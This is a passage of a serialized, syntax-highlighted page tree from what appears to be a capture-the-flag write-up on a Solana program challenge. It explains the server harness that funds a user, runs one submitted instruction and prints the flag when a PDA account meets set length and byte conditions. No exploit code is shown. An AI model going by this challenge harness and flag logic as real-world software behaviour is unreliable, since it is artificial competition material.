7,39141,39145,39149,39153,39157,39161,39165,39169,39173,39177,39181,39185,39189,39193,39197,39201,39205,39209,39213,39217,39221,39225],{"type":23,"tag":481,"props":39114,"children":39115},{"style":497},[39116],{"type":28,"value":573},{"type":23,"tag":481,"props":39118,"children":39119},{"style":508},[39120],{"type":28,"value":11345},{"type":23,"tag":481,"props":39122,"children":39123},{"style":514},[39124],{"type":28,"value":517},{"type":23,"tag":481,"props":39126,"children":39127},{"style":525},[39128],{"type":28,"value":38174},{"type":23,"tag":481,"props":39130,"children":39131},{"style":514},[39132],{"type":28,"value":1006},{"type":23,"tag":481,"props":39134,"children":39135},{"style":525},[39136],{"type":28,"value":38183},{"type":23,"tag":481,"props":39138,"children":39139},{"style":514},[39140],{"type":28,"value":1006},{"type":23,"tag":481,"props":39142,"children":39143},{"style":610},[39144],{"type":28,"value":38192},{"type":23,"tag":481,"props":39146,"children":39147},{"style":514},[39148],{"type":28,"value":1006},{"type":23,"tag":481,"props":39150,"children":39151},{"style":525},[39152],{"type":28,"value":38201},{"type":23,"tag":481,"props":39154,"children":39155},{"style":943},[39156],{"type":28,"value":946},{"type":23,"tag":481,"props":39158,"children":39159},{"style":525},[39160],{"type":28,"value":14719},{"type":23,"tag":481,"props":39162,"children":39163},{"style":551},[39164],{"type":28,"value":1622},{"type":23,"tag":481,"props":39166,"children":39167},{"style":525},[39168],{"type":28,"value":20559},{"type":23,"tag":481,"props":39170,"children":39171},{"style":497},[39172],{"type":28,"value":17764},{"type":23,"tag":481,"props":39174,"children":39175},{"style":525},[39176],{"type":28,"value":618},{"type":23,"tag":481,"props":39178,"children":39179},{"style":943},[39180],{"type":28,"value":5521},{"type":23,"tag":481,"props":39182,"children":39183},{"style":525},[39184],{"type":28,"value":38882},{"type":23,"tag":481,"props":39186,"children":39187},{"style":508},[39188],{"type":28,"value":1237},{"type":23,"tag":481,"props":39190,"children":39191},{"style":525},[39192],{"type":28,"value":1269},{"type":23,"tag":481,"props":39194,"children":39195},{"style":514},[39196],{"type":28,"value":559},{"type":23,"tag":481,"props":39198,"children":39199},{"style":551},[39200],{"type":28,"value":1622},{"type":23,"tag":481,"props":39202,"children":39203},{"style":525},[39204],{"type":28,"value":12900},{"type":23,"tag":481,"props":39206,"children":39207},{"style":514},[39208],{"type":28,"value":199},{"type":23,"tag":481,"props":39210,"children":39211},{"style":610},[39212],{"type":28,"value":23673},{"type":23,"tag":481,"props":39214,"children":39215},{"style":525},[39216],{"type":28,"value":11367},{"type":23,"tag":481,"props":39218,"children":39219},{"style":514},[39220],{"type":28,"value":199},{"type":23,"tag":481,"props":39222,"children":39223},{"style":610},[39224],{"type":28,"value":1196},{"type":23,"tag":481,"props":39226,"children":39227},{"style":525},[39228],{"type":28,"value":12914},{"type":23,"tag":481,"props":39230,"children":39231},{"class":483,"line":873},[39232,39236,39240,39244,39248,39252,39256,39260,39264,39268,39272,39276,39280,39284,39288,39292,39296,39300,39304,39308,39312,39316,39320,39324,39328,39332,39336,39340],{"type":23,"tag":481,"props":39233,"children":39234},{"style":497},[39235],{"type":28,"value":573},{"type":23,"tag":481,"props":39237,"children":39238},{"style":508},[39239],{"type":28,"value":38289},{"type":23,"tag":481,"props":39241,"children":39242},{"style":514},[39243],{"type":28,"value":517},{"type":23,"tag":481,"props":39245,"children":39246},{"style":525},[39247],{"type":28,"value":38174},{"type":23,"tag":481,"props":39249,"children":39250},{"style":514},[39251],{"type":28,"value":1006},{"type":23,"tag":481,"props":39253,"children":39254},{"style":525},[39255],{"type":28,"value":38183},{"type":23,"tag":481,"props":39257,"children":39258},{"style":514},[39259],{"type":28,"value":1006},{"type":23,"tag":481,"props":39261,"children":39262},{"style":610},[39263],{"type":28,"value":38192},{"type":23,"tag":481,"props":39265,"children":39266},{"style":514},[39267],{"type":28,"value":1006},{"type":23,"tag":481,"props":39269,"children":39270},{"style":525},[39271],{"type":28,"value":38201},{"type":23,"tag":481,"props":39273,"children":39274},{"style":943},[39275],{"type":28,"value":946},{"type":23,"tag":481,"props":39277,"children":39278},{"style":525},[39279],{"type":28,"value":14719},{"type":23,"tag":481,"props":39281,"children":39282},{"style":551},[39283],{"type":28,"value":1622},{"type":23,"tag":481,"props":39285,"children":39286},{"style":525},[39287],{"type":28,"value":20559},{"type":23,"tag":481,"props":39289,"children":39290},{"style":943},[39291],{"type":28,"value":5521},{"type":23,"tag":481,"props":39293,"children":39294},{"style":525},[39295],{"type":28,"value":5089},{"type":23,"tag":481,"props":39297,"children":39298},{"style":508},[39299],{"type":28,"value":1237},{"type":23,"tag":481,"props":39301,"children":39302},{"style":525},[39303],{"type":28,"value":1269},{"type":23,"tag":481,"props":39305,"children":39306},{"style":551},[39307],{"type":28,"value":1622},{"type":23,"tag":481,"props":39309,"children":39310},{"style":514},[39311],{"type":28,"value":559},{"type":23,"tag":481,"props":39313,"children":39314},{"style":551},[39315],{"type":28,"value":38366},{"type":23,"tag":481,"props":39317,"children":39318},{"style":525},[39319],{"type":28,"value":12900},{"type":23,"tag":481,"props":39321,"children":39322},{"style":514},[39323],{"type":28,"value":199},{"type":23,"tag":481,"props":39325,"children":39326},{"style":610},[39327],{"type":28,"value":23673},{"type":23,"tag":481,"props":39329,"children":39330},{"style":525},[39331],{"type":28,"value":11367},{"type":23,"tag":481,"props":39333,"children":39334},{"style":514},[39335],{"type":28,"value":199},{"type":23,"tag":481,"props":39337,"children":39338},{"style":610},[39339],{"type":28,"value":1196},{"type":23,"tag":481,"props":39341,"children":39342},{"style":525},[39343],{"type":28,"value":12914},{"type":23,"tag":481,"props":39345,"children":39346},{"class":483,"line":1125},[39347,39351,39355,39359],{"type":23,"tag":481,"props":39348,"children":39349},{"style":610},[39350],{"type":28,"value":38402},{"type":23,"tag":481,"props":39352,"children":39353},{"style":525},[39354],{"type":28,"value":618},{"type":23,"tag":481,"props":39356,"children":39357},{"style":508},[39358],{"type":28,"value":10119},{"type":23,"tag":481,"props":39360,"children":39361},{"style":525},[39362],{"type":28,"value":1366},{"type":23,"tag":481,"props":39364,"children":39365},{"class":483,"line":1142},[39366],{"type":23,"tag":481,"props":39367,"children":39368},{"style":525},[39369],{"type":28,"value":879},{"type":23,"tag":481,"props":39371,"children":39372},{"class":483,"line":1159},[39373],{"type":23,"tag":481,"props":39374,"children":39375},{"style":525},[39376],{"type":28,"value":1443},{"type":23,"tag":7092,"props":39378,"children":39380},{"id":39379},"test-environment",[39381],{"type":28,"value":39382},"Test Environment",{"type":23,"tag":24,"props":39384,"children":39385},{},[39386],{"type":28,"value":39387},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":39389,"children":39390},{},[39391,39393,39399],{"type":28,"value":39392},"When you connect to the server through a tcp connection, ",{"type":23,"tag":64,"props":39394,"children":39396},{"className":39395},[],[39397],{"type":28,"value":39398},"framework/src/main.rs::handle_connection",{"type":28,"value":39400}," gets executed, which does the following:",{"type":23,"tag":73,"props":39402,"children":39403},{},[39404],{"type":23,"tag":77,"props":39405,"children":39406},{},[39407],{"type":28,"value":39408},"Creates a new Solana local node",{"type":23,"tag":435,"props":39410,"children":39412},{"className":475,"code":39411,"language":474,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[39413],{"type":23,"tag":64,"props":39414,"children":39415},{"__ignoreMap":7},[39416,39497,39573],{"type":23,"tag":481,"props":39417,"children":39418},{"class":483,"line":484},[39419,39423,39427,39432,39436,39441,39445,39450,39454,39459,39463,39468,39472,39476,39480,39485,39489,39493],{"type":23,"tag":481,"props":39420,"children":39421},{"style":497},[39422],{"type":28,"value":9274},{"type":23,"tag":481,"props":39424,"children":39425},{"style":497},[39426],{"type":28,"value":505},{"type":23,"tag":481,"props":39428,"children":39429},{"style":508},[39430],{"type":28,"value":39431}," builder",{"type":23,"tag":481,"props":39433,"children":39434},{"style":514},[39435],{"type":28,"value":517},{"type":23,"tag":481,"props":39437,"children":39438},{"style":943},[39439],{"type":28,"value":39440}," ChallengeBuilder",{"type":23,"tag":481,"props":39442,"children":39443},{"style":514},[39444],{"type":28,"value":1006},{"type":23,"tag":481,"props":39446,"children":39447},{"style":610},[39448],{"type":28,"value":39449},"try_from",{"type":23,"tag":481,"props":39451,"children":39452},{"style":525},[39453],{"type":28,"value":618},{"type":23,"tag":481,"props":39455,"children":39456},{"style":508},[39457],{"type":28,"value":39458},"socket",{"type":23,"tag":481,"props":39460,"children":39461},{"style":514},[39462],{"type":28,"value":199},{"type":23,"tag":481,"props":39464,"children":39465},{"style":610},[39466],{"type":28,"value":39467},"try_clone",{"type":23,"tag":481,"props":39469,"children":39470},{"style":525},[39471],{"type":28,"value":11367},{"type":23,"tag":481,"props":39473,"children":39474},{"style":514},[39475],{"type":28,"value":199},{"type":23,"tag":481,"props":39477,"children":39478},{"style":610},[39479],{"type":28,"value":1196},{"type":23,"tag":481,"props":39481,"children":39482},{"style":525},[39483],{"type":28,"value":39484},"())",{"type":23,"tag":481,"props":39486,"children":39487},{"style":514},[39488],{"type":28,"value":199},{"type":23,"tag":481,"props":39490,"children":39491},{"style":610},[39492],{"type":28,"value":1196},{"type":23,"tag":481,"props":39494,"children":39495},{"style":525},[39496],{"type":28,"value":1201},{"type":23,"tag":481,"props":39498,"children":39499},{"class":483,"line":351},[39500,39505,39509,39514,39518,39523,39527,39532,39536,39541,39546,39550,39555,39559,39564,39568],{"type":23,"tag":481,"props":39501,"children":39502},{"style":610},[39503],{"type":28,"value":39504},"assert!",{"type":23,"tag":481,"props":39506,"children":39507},{"style":525},[39508],{"type":28,"value":618},{"type":23,"tag":481,"props":39510,"children":39511},{"style":508},[39512],{"type":28,"value":39513},"builder",{"type":23,"tag":481,"props":39515,"children":39516},{"style":514},[39517],{"type":28,"value":199},{"type":23,"tag":481,"props":39519,"children":39520},{"style":610},[39521],{"type":28,"value":39522},"add_program",{"type":23,"tag":481,"props":39524,"children":39525},{"style":525},[39526],{"type":28,"value":618},{"type":23,"tag":481,"props":39528,"children":39529},{"style":1805},[39530],{"type":28,"value":39531},"\"/path/to/chall.so\"",{"type":23,"tag":481,"props":39533,"children":39534},{"style":525},[39535],{"type":28,"value":588},{"type":23,"tag":481,"props":39537,"children":39538},{"style":943},[39539],{"type":28,"value":39540},"Some",{"type":23,"tag":481,"props":39542,"children":39543},{"style":525},[39544],{"type":28,"value":39545},"(chall",{"type":23,"tag":481,"props":39547,"children":39548},{"style":514},[39549],{"type":28,"value":1006},{"type":23,"tag":481,"props":39551,"children":39552},{"style":525},[39553],{"type":28,"value":39554},"ID)) ",{"type":23,"tag":481,"props":39556,"children":39557},{"style":514},[39558],{"type":28,"value":6055},{"type":23,"tag":481,"props":39560,"children":39561},{"style":525},[39562],{"type":28,"value":39563}," chall",{"type":23,"tag":481,"props":39565,"children":39566},{"style":514},[39567],{"type":28,"value":1006},{"type":23,"tag":481,"props":39569,"children":39570},{"style":525},[39571],{"type":28,"value":39572},"ID);\n",{"type":23,"tag":481,"props":39574,"children":39575},{"class":483,"line":531},[39576,39580,39584,39588,39592,39596,39600,39605,39609,39613,39617],{"type":23,"tag":481,"props":39577,"children":39578},{"style":497},[39579],{"type":28,"value":9274},{"type":23,"tag":481,"props":39581,"children":39582},{"style":497},[39583],{"type":28,"value":505},{"type":23,"tag":481,"props":39585,"children":39586},{"style":508},[39587],{"type":28,"value":39563},{"type":23,"tag":481,"props":39589,"children":39590},{"style":514},[39591],{"type":28,"value":517},{"type":23,"tag":481,"props":39593,"children":39594},{"style":508},[39595],{"type":28,"value":39431},{"type":23,"tag":481,"props":39597,"children":39598},{"style":514},[39599],{"type":28,"value":199},{"type":23,"tag":481,"props":39601,"children":39602},{"style":610},[39603],{"type":28,"value":39604},"build",{"type":23,"tag":481,"props":39606,"children":39607},{"style":525},[39608],{"type":28,"value":11367},{"type":23,"tag":481,"props":39610,"children":39611},{"style":514},[39612],{"type":28,"value":199},{"type":23,"tag":481,"props":39614,"children":39615},{"style":535},[39616],{"type":28,"value":30432},{"type":23,"tag":481,"props":39618,"children":39619},{"style":525},[39620],{"type":28,"value":528},{"type":23,"tag":73,"props":39622,"children":39623},{"start":351},[39624],{"type":23,"tag":77,"props":39625,"children":39626},{},[39627],{"type":28,"value":39628},"Funds the user account with 100 SOL",{"type":23,"tag":435,"props":39630,"children":39632},{"className":475,"code":39631,"language":474,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[39633],{"type":23,"tag":64,"props":39634,"children":39635},{"__ignoreMap":7},[39636,39669,39701,39708,39750,39782,39789,39797,39861,39880,39887],{"type":23,"tag":481,"props":39637,"children":39638},{"class":483,"line":484},[39639,39643,39648,39652,39657,39661,39665],{"type":23,"tag":481,"props":39640,"children":39641},{"style":497},[39642],{"type":28,"value":9274},{"type":23,"tag":481,"props":39644,"children":39645},{"style":508},[39646],{"type":28,"value":39647}," user_keypair",{"type":23,"tag":481,"props":39649,"children":39650},{"style":514},[39651],{"type":28,"value":517},{"type":23,"tag":481,"props":39653,"children":39654},{"style":943},[39655],{"type":28,"value":39656}," Keypair",{"type":23,"tag":481,"props":39658,"children":39659},{"style":514},[39660],{"type":28,"value":1006},{"type":23,"tag":481,"props":39662,"children":39663},{"style":610},[39664],{"type":28,"value":12611},{"type":23,"tag":481,"props":39666,"children":39667},{"style":525},[39668],{"type":28,"value":1201},{"type":23,"tag":481,"props":39670,"children":39671},{"class":483,"line":351},[39672,39676,39681,39685,39689,39693,39697],{"type":23,"tag":481,"props":39673,"children":39674},{"style":497},[39675],{"type":28,"value":9274},{"type":23,"tag":481,"props":39677,"children":39678},{"style":508},[39679],{"type":28,"value":39680}," user",{"type":23,"tag":481,"props":39682,"children":39683},{"style":514},[39684],{"type":28,"value":517},{"type":23,"tag":481,"props":39686,"children":39687},{"style":508},[39688],{"type":28,"value":39647},{"type":23,"tag":481,"props":39690,"children":39691},{"style":514},[39692],{"type":28,"value":199},{"type":23,"tag":481,"props":39694,"children":39695},{"style":610},[39696],{"type":28,"value":1070},{"type":23,"tag":481,"props":39698,"children":39699},{"style":525},[39700],{"type":28,"value":1201},{"type":23,"tag":481,"props":39702,"children":39703},{"class":483,"line":531},[39704],{"type":23,"tag":481,"props":39705,"children":39706},{"emptyLinePlaceholder":15},[39707],{"type":28,"value":1210},{"type":23,"tag":481,"props":39709,"children":39710},{"class":483,"line":567},[39711,39715,39720,39724,39728,39733,39737,39741,39745],{"type":23,"tag":481,"props":39712,"children":39713},{"style":497},[39714],{"type":28,"value":9274},{"type":23,"tag":481,"props":39716,"children":39717},{"style":508},[39718],{"type":28,"value":39719}," payer_keypair",{"type":23,"tag":481,"props":39721,"children":39722},{"style":514},[39723],{"type":28,"value":517},{"type":23,"tag":481,"props":39725,"children":39726},{"style":514},[39727],{"type":28,"value":4619},{"type":23,"tag":481,"props":39729,"children":39730},{"style":508},[39731],{"type":28,"value":39732},"chall",{"type":23,"tag":481,"props":39734,"children":39735},{"style":514},[39736],{"type":28,"value":199},{"type":23,"tag":481,"props":39738,"children":39739},{"style":525},[39740],{"type":28,"value":17778},{"type":23,"tag":481,"props":39742,"children":39743},{"style":514},[39744],{"type":28,"value":199},{"type":23,"tag":481,"props":39746,"children":39747},{"style":525},[39748],{"type":28,"value":39749},"payer;\n",{"type":23,"tag":481,"props":39751,"children":39752},{"class":483,"line":678},[39753,39757,39762,39766,39770,39774,39778],{"type":23,"tag":481,"props":39754,"children":39755},{"style":497},[39756],{"type":28,"value":9274},{"type":23,"tag":481,"props":39758,"children":39759},{"style":508},[39760],{"type":28,"value":39761}," payer",{"type":23,"tag":481,"props":39763,"children":39764},{"style":514},[39765],{"type":28,"value":517},{"type":23,"tag":481,"props":39767,"children":39768},{"style":508},[39769],{"type":28,"value":39719},{"type":23,"tag":481,"props":39771,"children":39772},{"style":514},[39773],{"type":28,"value":199},{"type":23,"tag":481,"props":39775,"children":39776},{"style":610},[39777],{"type":28,"value":1070},{"type":23,"tag":481,"props":39779,"children":39780},{"style":525},[39781],{"type":28,"value":1201},{"type":23,"tag":481,"props":39783,"children":39784},{"class":483,"line":784},[39785],{"type":23,"tag":481,"props":39786,"children":39787},{"emptyLinePlaceholder":15},[39788],{"type":28,"value":1210},{"type":23,"tag":481,"props":39790,"children":39791},{"class":483,"line":812},[39792],{"type":23,"tag":481,"props":39793,"children":39794},{"style":508},[39795],{"type":28,"value":39796},"chall\n",{"type":23,"tag":481,"props":39798,"children":39799},{"class":483,"line":825},[39800,39805,39810,39815,39819,39823,39827,39831,39836,39840,39844,39848,39852,39857],{"type":23,"tag":481,"props":39801,"children":39802},{"style":514},[39803],{"type":28,"value":39804}," .",{"type":23,"tag":481,"props":39806,"children":39807},{"style":610},[39808],{"type":28,"value":39809},"run_ix",{"type":23,"tag":481,"props":39811,"children":39812},{"style":525},[39813],{"type":28,"value":39814},"(system_instruction",{"type":23,"tag":481,"props":39816,"children":39817},{"style":514},[39818],{"type":28,"value":1006},{"type":23,"tag":481,"props":39820,"children":39821},{"style":610},[39822],{"type":28,"value":29638},{"type":23,"tag":481,"props":39824,"children":39825},{"style":525},[39826],{"type":28,"value":618},{"type":23,"tag":481,"props":39828,"children":39829},{"style":514},[39830],{"type":28,"value":623},{"type":23,"tag":481,"props":39832,"children":39833},{"style":508},[39834],{"type":28,"value":39835},"payer",{"type":23,"tag":481,"props":39837,"children":39838},{"style":525},[39839],{"type":28,"value":588},{"type":23,"tag":481,"props":39841,"children":39842},{"style":514},[39843],{"type":28,"value":623},{"type":23,"tag":481,"props":39845,"children":39846},{"style":508},[39847],{"type":28,"value":17730},{"type":23,"tag":481,"props":39849,"children":39850},{"style":525},[39851],{"type":28,"value":588},{"type":23,"tag":481,"props":39853,"children":39854},{"style":551},[39855],{"type":28,"value":39856},"100_000_000_000",{"type":23,"tag":481,"props":39858,"children":39859},{"style":525},[39860],{"type":28,"value":17209},{"type":23,"tag":481,"props":39862,"children":39863},{"class":483,"line":843},[39864,39868,39872,39876],{"type":23,"tag":481,"props":39865,"children":39866},{"style":514},[39867],{"type":28,"value":39804},{"type":23,"tag":481,"props":39869,"children":39870},{"style":535},[39871],{"type":28,"value":30432},{"type":23,"tag":481,"props":39873,"children":39874},{"style":514},[39875],{"type":28,"value":670},{"type":23,"tag":481,"props":39877,"children":39878},{"style":525},[39879],{"type":28,"value":528},{"type":23,"tag":481,"props":39881,"children":39882},{"class":483,"line":864},[39883],{"type":23,"tag":481,"props":39884,"children":39885},{"emptyLinePlaceholder":15},[39886],{"type":28,"value":1210},{"type":23,"tag":481,"props":39888,"children":39889},{"class":483,"line":873},[39890,39895,39899,39903,39907,39912,39916,39920,39924,39928],{"type":23,"tag":481,"props":39891,"children":39892},{"style":610},[39893],{"type":28,"value":39894},"writeln!",{"type":23,"tag":481,"props":39896,"children":39897},{"style":525},[39898],{"type":28,"value":618},{"type":23,"tag":481,"props":39900,"children":39901},{"style":508},[39902],{"type":28,"value":39458},{"type":23,"tag":481,"props":39904,"children":39905},{"style":525},[39906],{"type":28,"value":588},{"type":23,"tag":481,"props":39908,"children":39909},{"style":1805},[39910],{"type":28,"value":39911},"\"user: {}\"",{"type":23,"tag":481,"props":39913,"children":39914},{"style":525},[39915],{"type":28,"value":588},{"type":23,"tag":481,"props":39917,"children":39918},{"style":508},[39919],{"type":28,"value":17730},{"type":23,"tag":481,"props":39921,"children":39922},{"style":525},[39923],{"type":28,"value":642},{"type":23,"tag":481,"props":39925,"children":39926},{"style":514},[39927],{"type":28,"value":670},{"type":23,"tag":481,"props":39929,"children":39930},{"style":525},[39931],{"type":28,"value":528},{"type":23,"tag":73,"props":39933,"children":39934},{"start":531},[39935],{"type":23,"tag":77,"props":39936,"children":39937},{},[39938],{"type":28,"value":39939},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":435,"props":39941,"children":39943},{"className":475,"code":39942,"language":474,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[39944],{"type":23,"tag":64,"props":39945,"children":39946},{"__ignoreMap":7},[39947,39997],{"type":23,"tag":481,"props":39948,"children":39949},{"class":483,"line":484},[39950,39954,39959,39963,39967,39971,39976,39980,39984,39989,39993],{"type":23,"tag":481,"props":39951,"children":39952},{"style":497},[39953],{"type":28,"value":9274},{"type":23,"tag":481,"props":39955,"children":39956},{"style":508},[39957],{"type":28,"value":39958}," solve_ix",{"type":23,"tag":481,"props":39960,"children":39961},{"style":514},[39962],{"type":28,"value":517},{"type":23,"tag":481,"props":39964,"children":39965},{"style":508},[39966],{"type":28,"value":39563},{"type":23,"tag":481,"props":39968,"children":39969},{"style":514},[39970],{"type":28,"value":199},{"type":23,"tag":481,"props":39972,"children":39973},{"style":610},[39974],{"type":28,"value":39975},"read_instruction",{"type":23,"tag":481,"props":39977,"children":39978},{"style":525},[39979],{"type":28,"value":39545},{"type":23,"tag":481,"props":39981,"children":39982},{"style":514},[39983],{"type":28,"value":1006},{"type":23,"tag":481,"props":39985,"children":39986},{"style":525},[39987],{"type":28,"value":39988},"ID)",{"type":23,"tag":481,"props":39990,"children":39991},{"style":514},[39992],{"type":28,"value":670},{"type":23,"tag":481,"props":39994,"children":39995},{"style":525},[39996],{"type":28,"value":528},{"type":23,"tag":481,"props":39998,"children":39999},{"class":483,"line":351},[40000,40004,40008,40013,40017,40021,40025,40030,40034,40038,40042,40046,40051,40055,40059,40063,40067,40071,40075,40079],{"type":23,"tag":481,"props":40001,"children":40002},{"style":508},[40003],{"type":28,"value":39732},{"type":23,"tag":481,"props":40005,"children":40006},{"style":514},[40007],{"type":28,"value":199},{"type":23,"tag":481,"props":40009,"children":40010},{"style":610},[40011],{"type":28,"value":40012},"run_ixs_full",{"type":23,"tag":481,"props":40014,"children":40015},{"style":525},[40016],{"type":28,"value":618},{"type":23,"tag":481,"props":40018,"children":40019},{"style":514},[40020],{"type":28,"value":623},{"type":23,"tag":481,"props":40022,"children":40023},{"style":525},[40024],{"type":28,"value":1269},{"type":23,"tag":481,"props":40026,"children":40027},{"style":508},[40028],{"type":28,"value":40029},"solve_ix",{"type":23,"tag":481,"props":40031,"children":40032},{"style":525},[40033],{"type":28,"value":20559},{"type":23,"tag":481,"props":40035,"children":40036},{"style":514},[40037],{"type":28,"value":623},{"type":23,"tag":481,"props":40039,"children":40040},{"style":525},[40041],{"type":28,"value":1269},{"type":23,"tag":481,"props":40043,"children":40044},{"style":514},[40045],{"type":28,"value":623},{"type":23,"tag":481,"props":40047,"children":40048},{"style":508},[40049],{"type":28,"value":40050},"user_keypair",{"type":23,"tag":481,"props":40052,"children":40053},{"style":525},[40054],{"type":28,"value":20559},{"type":23,"tag":481,"props":40056,"children":40057},{"style":514},[40058],{"type":28,"value":623},{"type":23,"tag":481,"props":40060,"children":40061},{"style":508},[40062],{"type":28,"value":17730},{"type":23,"tag":481,"props":40064,"children":40065},{"style":525},[40066],{"type":28,"value":642},{"type":23,"tag":481,"props":40068,"children":40069},{"style":514},[40070],{"type":28,"value":199},{"type":23,"tag":481,"props":40072,"children":40073},{"style":535},[40074],{"type":28,"value":30432},{"type":23,"tag":481,"props":40076,"children":40077},{"style":514},[40078],{"type":28,"value":670},{"type":23,"tag":481,"props":40080,"children":40081},{"style":525},[40082],{"type":28,"value":528},{"type":23,"tag":73,"props":40084,"children":40085},{"start":567},[40086],{"type":23,"tag":77,"props":40087,"children":40088},{},[40089],{"type":28,"value":40090},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":435,"props":40092,"children":40094},{"className":475,"code":40093,"language":474,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[40095],{"type":23,"tag":64,"props":40096,"children":40097},{"__ignoreMap":7},[40098,40182,40273,40314,40398,40405,40442,40499,40544,40559,40595,40602,40609],{"type":23,"tag":481,"props":40099,"children":40100},{"class":483,"line":484},[40101,40105,40110,40114,40118,40122,40127,40131,40135,40139,40144,40148,40153,40158,40162,40166,40170,40174,40178],{"type":23,"tag":481,"props":40102,"children":40103},{"style":497},[40104],{"type":28,"value":9274},{"type":23,"tag":481,"props":40106,"children":40107},{"style":508},[40108],{"type":28,"value":40109}," flag",{"type":23,"tag":481,"props":40111,"children":40112},{"style":514},[40113],{"type":28,"value":517},{"type":23,"tag":481,"props":40115,"children":40116},{"style":943},[40117],{"type":28,"value":18355},{"type":23,"tag":481,"props":40119,"children":40120},{"style":514},[40121],{"type":28,"value":1006},{"type":23,"tag":481,"props":40123,"children":40124},{"style":610},[40125],{"type":28,"value":40126},"create_program_address",{"type":23,"tag":481,"props":40128,"children":40129},{"style":525},[40130],{"type":28,"value":618},{"type":23,"tag":481,"props":40132,"children":40133},{"style":514},[40134],{"type":28,"value":623},{"type":23,"tag":481,"props":40136,"children":40137},{"style":525},[40138],{"type":28,"value":1269},{"type":23,"tag":481,"props":40140,"children":40141},{"style":1805},[40142],{"type":28,"value":40143},"\"FLAG\"",{"type":23,"tag":481,"props":40145,"children":40146},{"style":514},[40147],{"type":28,"value":199},{"type":23,"tag":481,"props":40149,"children":40150},{"style":610},[40151],{"type":28,"value":40152},"as_ref",{"type":23,"tag":481,"props":40154,"children":40155},{"style":525},[40156],{"type":28,"value":40157},"()], ",{"type":23,"tag":481,"props":40159,"children":40160},{"style":514},[40161],{"type":28,"value":623},{"type":23,"tag":481,"props":40163,"children":40164},{"style":525},[40165],{"type":28,"value":39732},{"type":23,"tag":481,"props":40167,"children":40168},{"style":514},[40169],{"type":28,"value":1006},{"type":23,"tag":481,"props":40171,"children":40172},{"style":525},[40173],{"type":28,"value":39988},{"type":23,"tag":481,"props":40175,"children":40176},{"style":514},[40177],{"type":28,"value":670},{"type":23,"tag":481,"props":40179,"children":40180},{"style":525},[40181],{"type":28,"value":528},{"type":23,"tag":481,"props":40183,"children":40184},{"class":483,"line":351},[40185,40189,40193,40197,40201,40206,40210,40214,40218,40222,40226,40230,40235,40239,40244,40248,40253,40257,40261,40265,40269],{"type":23,"tag":481,"props":40186,"children":40187},{"style":535},[40188],{"type":28,"value":13069},{"type":23,"tag":481,"props":40190,"children":40191},{"style":497},[40192],{"type":28,"value":24816},{"type":23,"tag":481,"props":40194,"children":40195},{"style":943},[40196],{"type":28,"value":24821},{"type":23,"tag":481,"props":40198,"children":40199},{"style":525},[40200],{"type":28,"value":618},{"type":23,"tag":481,"props":40202,"children":40203},{"style":508},[40204],{"type":28,"value":40205},"acct",{"type":23,"tag":481,"props":40207,"children":40208},{"style":525},[40209],{"type":28,"value":598},{"type":23,"tag":481,"props":40211,"children":40212},{"style":514},[40213],{"type":28,"value":603},{"type":23,"tag":481,"props":40215,"children":40216},{"style":508},[40217],{"type":28,"value":39563},{"type":23,"tag":481,"props":40219,"children":40220},{"style":514},[40221],{"type":28,"value":199},{"type":23,"tag":481,"props":40223,"children":40224},{"style":525},[40225],{"type":28,"value":17778},{"type":23,"tag":481,"props":40227,"children":40228},{"style":514},[40229],{"type":28,"value":199},{"type":23,"tag":481,"props":40231,"children":40232},{"style":525},[40233],{"type":28,"value":40234},"banks_client",{"type":23,"tag":481,"props":40236,"children":40237},{"style":514},[40238],{"type":28,"value":199},{"type":23,"tag":481,"props":40240,"children":40241},{"style":610},[40242],{"type":28,"value":40243},"get_account",{"type":23,"tag":481,"props":40245,"children":40246},{"style":525},[40247],{"type":28,"value":618},{"type":23,"tag":481,"props":40249,"children":40250},{"style":508},[40251],{"type":28,"value":40252},"flag",{"type":23,"tag":481,"props":40254,"children":40255},{"style":525},[40256],{"type":28,"value":642},{"type":23,"tag":481,"props":40258,"children":40259},{"style":514},[40260],{"type":28,"value":199},{"type":23,"tag":481,"props":40262,"children":40263},{"style":535},[40264],{"type":28,"value":30432},{"type":23,"tag":481,"props":40266,"children":40267},{"style":514},[40268],{"type":28,"value":670},{"type":23,"tag":481,"props":40270,"children":40271},{"style":525},[40272],{"type":28,"value":809},{"type":23,"tag":481,"props":40274,"children":40275},{"class":483,"line":531},[40276,40280,40285,40289,40293,40297,40301,40305,40309],{"type":23,"tag":481,"props":40277,"children":40278},{"style":535},[40279],{"type":28,"value":9766},{"type":23,"tag":481,"props":40281,"children":40282},{"style":508},[40283],{"type":28,"value":40284}," 